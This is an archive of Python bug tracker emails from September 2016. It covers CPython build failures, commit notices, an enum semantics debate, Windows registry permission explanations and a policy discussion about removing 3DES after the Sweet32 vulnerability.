Message-ID: <1473306080.22.0.681815395966.issue28014@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> KeyError thrown by optimised collections.OrderedDict.popitem()

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28014>
_______________________________________

From report at bugs.python.org  Thu Sep  8 00:07:02 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 04:07:02 +0000
Subject: [issue28013] PPC64 Fedora socket and ssl compile failure
In-Reply-To: <1473304536.57.0.349804951124.issue28013@psf.upfronthosting.co.za>
Message-ID: <1473307622.82.0.537589743776.issue28013@psf.upfronthosting.co.za>


Martin Panter added the comment:

Looks like enabling C99 is the trigger. This is an old bug with the bluetooth header (or at least a regression triggered by an old patch, I haven?t followed the whole story):
https://marc.info/?i=CAOcK=CPAHp-zBuWOPa3yB0ZcAmPWQgujzQcp+KtpJrX6tKDLag at mail.gmail.com

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28013>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:01:14 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 05:01:14 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <1473310874.49.0.0380169340612.issue18844@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Using a generator doesn't prevents state to be saved and restored.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:26:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 05:26:28 +0000
Subject: [issue15578] Crash when modifying sys.modules during import
In-Reply-To: <1344372630.36.0.657008264392.issue15578@psf.upfronthosting.co.za>
Message-ID: <20160908052623.18843.93946.890E2183@psf.io>


Roundup Robot added the comment:

New changeset 731e5617cc8d by Gregory P. Smith in branch '2.7':
Fix placement of Misc/NEWS item for issue #15578.
https://hg.python.org/cpython/rev/731e5617cc8d

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15578>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:33:30 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 05:33:30 +0000
Subject: [issue26307] no PGO for built-in modules with `make profile-opt`
In-Reply-To: <1454938106.72.0.648611247693.issue26307@psf.upfronthosting.co.za>
Message-ID: <1473312810.8.0.571771160414.issue26307@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

My change means that the build/ directory tree exists but won't have any files other than *.gc?? files in it after a make clean.  I doubt this will bother anyone.  That felt better for clean than just avoiding the removal of build/ entirely.

----------
resolution:  -> fixed
stage: needs patch -> commit review
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26307>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:34:26 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 05:34:26 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1473312866.19.0.402899187836.issue26359@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
assignee:  -> gregory.p.smith

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:42:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 05:42:52 +0000
Subject: [issue27993] In the argparse there are typos with endings in plural
 words
In-Reply-To: <1473218103.32.0.964912945443.issue27993@psf.upfronthosting.co.za>
Message-ID: <20160908054248.2885.82261.2CE96947@psf.io>


Roundup Robot added the comment:

New changeset c07aadf9f5cb by Martin Panter in branch '2.7':
Issue #27993: Fix problems with the plural ?objects? in docs and comments
https://hg.python.org/cpython/rev/c07aadf9f5cb

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27993>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:42:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 05:42:52 +0000
Subject: [issue27895] Spelling fixes
In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za>
Message-ID: <20160908054248.2885.31101.9B8DBEA4@psf.io>


Roundup Robot added the comment:

New changeset 9a68ab141c33 by Martin Panter in branch '2.7':
Issue #27895:  Spelling fixes (Contributed by Ville Skytt?).
https://hg.python.org/cpython/rev/9a68ab141c33

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27895>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:42:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 05:42:53 +0000
Subject: [issue27570] Avoid memcpy(. . ., NULL, 0) etc calls
In-Reply-To: <1468897030.77.0.552858173381.issue27570@psf.upfronthosting.co.za>
Message-ID: <20160908054248.2885.45243.8D89D6D5@psf.io>


Roundup Robot added the comment:

New changeset d465da1e5902 by Martin Panter in branch '2.7':
Issue #27570: Avoid zero-length memcpy() calls with null source pointers
https://hg.python.org/cpython/rev/d465da1e5902

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27570>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:44:37 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 05:44:37 +0000
Subject: [issue27993] In the argparse there are typos with endings in plural
 words
In-Reply-To: <1473218103.32.0.964912945443.issue27993@psf.upfronthosting.co.za>
Message-ID: <1473313477.71.0.356523343057.issue27993@psf.upfronthosting.co.za>


Martin Panter added the comment:

Thanks for the patch. I found a few more related instances to fix too.

----------
nosy: +martin.panter
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27993>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:50:21 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 05:50:21 +0000
Subject: [issue27895] Spelling fixes
In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za>
Message-ID: <1473313821.37.0.672424948078.issue27895@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
versions: +Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27895>
_______________________________________

From report at bugs.python.org  Thu Sep  8 01:58:51 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 05:58:51 +0000
Subject: [issue28000] Build fails on AIX with _LINUX_SOURCE_COMPAT flag
In-Reply-To: <1473261703.53.0.692891859324.issue28000@psf.upfronthosting.co.za>
Message-ID: <1473314331.76.0.726168943914.issue28000@psf.upfronthosting.co.za>


Martin Panter added the comment:

Would it be appropriate to always build with _LINUX_SOURCE_COMPAT enabled or disabled? Or is there a disadvantage (e.g. compatibility with different AIX versions, or less functionality?)

Do you know if this would also be applicable to 2.7?

----------
nosy: +martin.panter
stage:  -> patch review
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28000>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:06:18 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 06:06:18 +0000
Subject: [issue28000] Build fails on AIX with _LINUX_SOURCE_COMPAT flag
In-Reply-To: <1473261703.53.0.692891859324.issue28000@psf.upfronthosting.co.za>
Message-ID: <1473314778.78.0.329409839318.issue28000@psf.upfronthosting.co.za>


Martin Panter added the comment:

Also, there is code in configure.ac to detect 3- and 6-arg versions. Perhaps can we use that in all cases for AIX (as for Linux)?

The configure logic was overridden a long time ago: revision dad14ffe1c22. But I don?t know exactly why.

----------
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28000>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:09:54 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 06:09:54 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <1473314994.76.0.70877008545.issue26798@psf.upfronthosting.co.za>


Martin Panter added the comment:

.
Looks like Issue 28001 is open about the same problem. But I presume other tests use open_urlresource(), so why don?t they also fail?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:11:34 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 06:11:34 +0000
Subject: [issue27570] Avoid memcpy(. . ., NULL, 0) etc calls
In-Reply-To: <1468897030.77.0.552858173381.issue27570@psf.upfronthosting.co.za>
Message-ID: <1473315094.59.0.0804044683126.issue27570@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27570>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:14:10 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 06:14:10 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473315250.75.0.418416084466.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Vedran commented:
> This is something fundamental: it is breaking the promise that class body
> is a suite of commands, where Python statements (such as assignment) have
> their usual semantics.

I find it curious that you're okay with

>>> class Color(Enum):
...     red = 1
...
>>> Color.red == 1
False

But you find this completely incomprehensible

>>> class Color(Enum):
...    red = _auto_
...    blue = _auto_
...
>>> Color.red == Color.blue
False

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:17:06 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 06:17:06 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473315426.64.0.575643905864.issue23591@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
nosy:  -martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:18:43 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 06:18:43 +0000
Subject: [issue28010] http.client.HTTPConnection.putrequest incorrect arguments
In-Reply-To: <1473291430.61.0.706860588682.issue28010@psf.upfronthosting.co.za>
Message-ID: <1473315523.0.0.232587471772.issue28010@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
keywords: +easy
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28010>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:20:26 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Thu, 08 Sep 2016 06:20:26 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473315626.54.0.659665902768.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Yes, I didn't explain well. I'm ok with postprocessing. After all, since we got PEP 520, it's quite obvious that "the namespace class body is executed in" is not the same as "the final __dict__ of a class".

But even "the namespace class body is executed in" _should_ be a Python namespace, with all its rules. If objects are the same, then after postprocessing they should also be same. _Especially_ if we currently do have semantics for reassignment: aliasing. "Name is not a part of object" is a fundamental tenet of Python. And `_auto_ is _auto_`.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:32:55 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 08 Sep 2016 06:32:55 +0000
Subject: [issue28011] winreg KEY_READ also fails for some keys
In-Reply-To: <1473299643.82.0.127834530575.issue28011@psf.upfronthosting.co.za>
Message-ID: <1473316375.44.0.755660749199.issue28011@psf.upfronthosting.co.za>


Eryk Sun added the comment:

It's not a bug that you can't read those keys. The DACL (discretionary access control list) of those two keys doesn't grant any access to standard users. However, administrators do have full control, in case your account is a UAC restricted admin with a split token. In that case you can elevate ("run as administrator") Python or the parent cmd shell to gain access to those keys.

Specifically, the registry key for the LocalSystem (SYSTEM) account, the one that you can access (I think it's not locked down as much for the sake of legacy compatibility), grants standard user accounts GENERIC_READ access (i.e. KEY_READ):

    HKU\S-1-5-18
      Medium Mandatory Level (Default) [No-Write-Up]
      R  BUILTIN\Users
            KEY_QUERY_VALUE
            KEY_ENUMERATE_SUB_KEYS
            KEY_NOTIFY
            READ_CONTROL
      RW BUILTIN\Administrators
            KEY_ALL_ACCESS
      RW NT AUTHORITY\SYSTEM
            KEY_ALL_ACCESS
      RW CREATOR OWNER
            KEY_ALL_ACCESS
      R  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
            KEY_QUERY_VALUE
            KEY_ENUMERATE_SUB_KEYS
            KEY_NOTIFY
            READ_CONTROL

On the other hand, the registry keys for the LocalService (LOCAL SERVICE) and NetworkService (NETWORK SERVICE) accounts grant no access to standard user accounts:

    HKU\S-1-5-19
      Medium Mandatory Level (Default) [No-Write-Up]
      RW NT AUTHORITY\LOCAL SERVICE
            KEY_ALL_ACCESS
      RW NT AUTHORITY\SYSTEM
            KEY_ALL_ACCESS
      RW BUILTIN\Administrators
            KEY_ALL_ACCESS
      R  NT AUTHORITY\RESTRICTED
            KEY_QUERY_VALUE
            KEY_ENUMERATE_SUB_KEYS
            KEY_NOTIFY
            READ_CONTROL
      R  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
            KEY_QUERY_VALUE
            KEY_ENUMERATE_SUB_KEYS
            KEY_NOTIFY
            READ_CONTROL

     HKU\S-1-5-20
      Medium Mandatory Level (Default) [No-Write-Up]
      RW NT AUTHORITY\NETWORK SERVICE
            KEY_ALL_ACCESS
      RW NT AUTHORITY\SYSTEM
            KEY_ALL_ACCESS
      RW BUILTIN\Administrators
            KEY_ALL_ACCESS
      R  NT AUTHORITY\RESTRICTED
            KEY_QUERY_VALUE
            KEY_ENUMERATE_SUB_KEYS
            KEY_NOTIFY
            READ_CONTROL
      R  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
            KEY_QUERY_VALUE
            KEY_ENUMERATE_SUB_KEYS
            KEY_NOTIFY
            READ_CONTROL

LocalSystem and administrators have GENERIC_ALL access (i.e. KEY_ALL_ACCESS). The respective service accounts also have all access, unless the service process (or thread impersonation) token has restricted SIDs (security identifiers). In that case the RESTRICTED SID should also be in the token's list of restricted SIDs, so the service should be limited to KEY_READ access. That is, unless a subkey has an ACE (access control entry) in its DACL that grants additional access to one of its service SIDs. 

It won't help to call CreateRestrictedToken to create a token that has the "NT AUTHORITY\RESTRICTED" SID in its list of restricted SIDs, because the system uses a double access check. The first pass is a normal check, and the token's normal list of user and group SIDs, which you can't extend, doesn't have the well-known RESTRICTED SID. In other words, a restricted token can never get a higher level of access to a secured object than its source token.

----------
nosy: +eryksun
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28011>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:41:03 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Thu, 08 Sep 2016 06:41:03 +0000
Subject: [issue28005] Broken encoding modules are silently skipped.
In-Reply-To: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>
Message-ID: <1473316863.57.0.578667390182.issue28005@psf.upfronthosting.co.za>


Marc-Andre Lemburg added the comment:

Steve, this is not a correct patch. The purpose of skipping ImportErrors is to give other search functions a chance to find and provide a working codec. Your patch causes this to break.

----------
nosy: +lemburg
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Thu Sep  8 02:45:26 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Thu, 08 Sep 2016 06:45:26 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473317126.71.0.57515907415.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Since you like examples, what do you say about

    class MyEnum(Enum):
        red = some_function()
        blue = red

Now, is MyEnum.blue the same as MyEnum.red (watch: not "equal", but "same")? Well, it depends on what some_function returns, right? If it returns _auto_, they are not the same, but in all the other cases, blue is just an alias for red. So object identity depends on some value that could be external to the class. To me that's obviously unacceptable.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Thu Sep  8 03:09:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 07:09:09 +0000
Subject: [issue27983] "Cannot perform PGO build because llvm-profdata was not
 found in PATH" error upon make
In-Reply-To: <1473202900.44.0.711175096314.issue27983@psf.upfronthosting.co.za>
Message-ID: <20160908070816.87494.57346.3685FD9C@psf.io>


Roundup Robot added the comment:

New changeset 3f04287e7bea by Gregory P. Smith in branch '2.7':
Fixes issue# 27983: Cause lack of llvm-profdata tool when using clang -
https://hg.python.org/cpython/rev/3f04287e7bea

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27983>
_______________________________________

From report at bugs.python.org  Thu Sep  8 03:09:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 07:09:25 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <20160908070815.87494.20051.EA8428F9@psf.io>


Roundup Robot added the comment:

New changeset bc28cbd49070 by Gregory P. Smith in branch '2.7':
Issue #26359: Add the --with-optimizations flag.
https://hg.python.org/cpython/rev/bc28cbd49070

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Thu Sep  8 03:10:04 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 07:10:04 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1473318604.1.0.563993946034.issue26359@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Thu Sep  8 03:10:26 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 07:10:26 +0000
Subject: [issue27983] "Cannot perform PGO build because llvm-profdata was not
 found in PATH" error upon make
In-Reply-To: <1473202900.44.0.711175096314.issue27983@psf.upfronthosting.co.za>
Message-ID: <1473318626.16.0.987941845797.issue27983@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27983>
_______________________________________

From report at bugs.python.org  Thu Sep  8 03:28:58 2016
From: report at bugs.python.org (Cory Benfield)
Date: Thu, 08 Sep 2016 07:28:58 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473319738.65.0.631343887441.issue27850@psf.upfronthosting.co.za>


Cory Benfield added the comment:

Thanks for your response Larry. I think it cleared up my understanding a bit, and I'm (extremely!) sympathetic to your desire to not get any closer to this problem than you have to.

I think it may be worth, in future, defining what effort will be made to achieve compatibility with libraries that Python relies on. I can see several questions here that, AFAIK, have no concrete answer:

- Can a Python minor version increase (e.g. 3.6 -> 3.7) add support for a new ABI in a library dependency? (This one has an answer, which is certainly yes, but we could still stand to write it down because you'd be amazed how often it helps to write down the basic starting point of the argument.)
- Can a Python patch version increase *before* security release mode (e.g. 3.6.1 -> 3.6.2) add support for a new ABI in a library dependency?
    - What about a new API that maintains ABI compatibility?
- Can a Python security version increase (e.g. 3.4.5 -> 3.4.6) add support for a new ABI in a library dependency?
    - What about a new API that maintains ABI compatibility?
- How do the answers to the above questions vary if the change is security-focused (e.g. AES is broken tomorrow so ChaCha20 is the only safe cipher left in OpenSSL)?

I'm not qualified or authoritative enough to answer those questions, but having an answer to them would help modulate expectations from people like myself.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Thu Sep  8 03:35:38 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Thu, 08 Sep 2016 07:35:38 +0000
Subject: [issue28005] Broken encoding modules are silently skipped.
In-Reply-To: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>
Message-ID: <1473320138.46.0.997889190516.issue28005@psf.upfronthosting.co.za>


Marc-Andre Lemburg added the comment:

Thinking about this some, we could go ahead and document somewhere that if a codec wants to tell the search function that it cannot work due to some missing dependency, it will have to raise an ImportError from the codec module level (instead of just lettering ImportError bubble up), possibly reraising the error to assure this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Thu Sep  8 03:45:09 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 07:45:09 +0000
Subject: [issue28015] configure --with-lto builds fail when CC=clang on Linux, 
 requires gold linker
Message-ID: <1473320709.67.0.0429640617864.issue28015@psf.upfronthosting.co.za>


New submission from Gregory P. Smith:

The error message you will see when building may look something like:

clang -pthread -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes  -fprofile-instr-generate -flto Parser/acceler.o Parser/grammar1.o Parser/listnode.o Parser/node.o Parser/parser.o Parser/bitset.o Parser/metagrammar.o Parser/firstsets.o Parser/grammar.o Parser/pgen.o Objects/obmalloc.o Python/dynamic_annotations.o Python/mysnprintf.o Python/pyctype.o Parser/tokenizer_pgen.o Parser/printgrammar.o Parser/parsetok_pgen.o Parser/pgenmain.o -lpthread -ldl  -lutil -o Parser/pgen
/usr/bin/ld: /usr/lib/llvm-3.8/bin/../lib/LLVMgold.so: error loading plugin: /usr/lib/llvm-3.8/bin/../lib/LLVMgold.so: cannot open shared object file: No such file or directory
clang: error: linker command failed with exit code 1 (use -v to see invocation)
Makefile:793: recipe for target 'Parser/pgen' failed
make[2]: *** [Parser/pgen] Error 1

as seen on ubuntu 16.04.

Related to https://bugs.launchpad.net/ubuntu/+source/llvm-toolchain-snapshot/+bug/1254970 which suggests we also need -B/usr/lib/gold-ld in our LDFLAGS and/or CFLAGS when using clang on Linux with LTO.

testing with it set in both still runs into errors; someone with clang LTO experience will need to untangle this.

(is this related to why --with-lto doesn't work on MacOS as well?)

----------
components: Build
messages: 274984
nosy: gregory.p.smith
priority: normal
severity: normal
stage: needs patch
status: open
title: configure --with-lto builds fail when CC=clang on Linux, requires gold linker
type: compile error
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28015>
_______________________________________

From report at bugs.python.org  Thu Sep  8 04:07:23 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 08:07:23 +0000
Subject: [issue25761] Improve unpickling errors handling
In-Reply-To: <1448794765.73.0.847000762162.issue25761@psf.upfronthosting.co.za>
Message-ID: <1473322043.6.0.472147750048.issue25761@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25761>
_______________________________________

From report at bugs.python.org  Thu Sep  8 04:28:48 2016
From: report at bugs.python.org (Matthieu S)
Date: Thu, 08 Sep 2016 08:28:48 +0000
Subject: [issue28016] test_fileio fails on AIX
Message-ID: <1473323328.73.0.215988699422.issue28016@psf.upfronthosting.co.za>


New submission from Matthieu S:

======================================================================
FAIL: testAbles (test.test_fileio.COtherFileTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/opt/freeware/src/packages/BUILD/Python-3.5.2/64bit/Lib/test/test_fileio.py", line 382, in testAbles
    self.assertEqual(f.seekable(), False)
AssertionError: True != False

======================================================================
FAIL: testAbles (test.test_fileio.PyOtherFileTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/opt/freeware/src/packages/BUILD/Python-3.5.2/64bit/Lib/test/test_fileio.py", line 382, in testAbles
    self.assertEqual(f.seekable(), False)
AssertionError: True != False

/dev/tty is seakable on AIX, like on some other Unix on wich this assertion is already skipped (macOS, BSD, SunOS).

The attached patch adds adds AIX to the list of platform on wich the assertion should be skipped.

----------
components: Tests
files: Python-3.5.1-fileio.patch
keywords: patch
messages: 274985
nosy: sarterm
priority: normal
severity: normal
status: open
title: test_fileio fails on AIX
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44460/Python-3.5.1-fileio.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28016>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:00:54 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 09:00:54 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <1473325254.7.0.898928487199.issue26798@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Other tests catch OSError and HTTPError. I have changed read_vectors() to do the same for now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:07:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 09:07:00 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <20160908090656.13107.87974.AE132288@psf.io>


Roundup Robot added the comment:

New changeset 46b34706eb41 by Christian Heimes in branch 'default':
Issue 26798: fetch OSError and HTTPException like other tests that use open_urlresource.
https://hg.python.org/cpython/rev/46b34706eb41

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:16:47 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 09:16:47 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1473319738.65.0.631343887441.issue27850@psf.upfronthosting.co.za>
Message-ID: <cde5566f-1e0c-a16d-2fa3-bcd164738f3f@cheimes.de>


Christian Heimes added the comment:

On 2016-09-08 09:28, Cory Benfield wrote:
> 
> Cory Benfield added the comment:
> 
> Thanks for your response Larry. I think it cleared up my understanding a bit, and I'm (extremely!) sympathetic to your desire to not get any closer to this problem than you have to.
> 
> I think it may be worth, in future, defining what effort will be made to achieve compatibility with libraries that Python relies on. I can see several questions here that, AFAIK, have no concrete answer:
> 
> - Can a Python minor version increase (e.g. 3.6 -> 3.7) add support for a new ABI in a library dependency? (This one has an answer, which is certainly yes, but we could still stand to write it down because you'd be amazed how often it helps to write down the basic starting point of the argument.)
> - Can a Python patch version increase *before* security release mode (e.g. 3.6.1 -> 3.6.2) add support for a new ABI in a library dependency?
>     - What about a new API that maintains ABI compatibility?
> - Can a Python security version increase (e.g. 3.4.5 -> 3.4.6) add support for a new ABI in a library dependency?
>     - What about a new API that maintains ABI compatibility?
> - How do the answers to the above questions vary if the change is security-focused (e.g. AES is broken tomorrow so ChaCha20 is the only safe cipher left in OpenSSL)?
> 
> I'm not qualified or authoritative enough to answer those questions, but having an answer to them would help modulate expectations from people like myself.

I'm going to discuss these points in my OpenSSL PEP. Thanks for the
summary :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:23:41 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 08 Sep 2016 09:23:41 +0000
Subject: [issue11551] test_dummy_thread.py test coverage improvement
In-Reply-To: <1300167076.06.0.564640850905.issue11551@psf.upfronthosting.co.za>
Message-ID: <1473326621.37.0.424449738317.issue11551@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

Here is an updated patch that increases the coverage to 100% and has some pep8 style improvements.


shannon-2:issue11551 senthil$ ./python.exe -m test.regrtest test_dummy_thread
Run tests sequentially
0:00:00 [1/1] test_dummy_thread
1 test OK.

Total duration: 23 ms
Tests result: SUCCESS

shannon-2:issue11551 senthil$ ./python.exe -m coverage run --pylib --source=_dummy_thread Lib/test/regrtest.py test_dummy_thread
Run tests sequentially
0:00:00 [1/1] test_dummy_thread
1 test OK.

Total duration: 82 ms
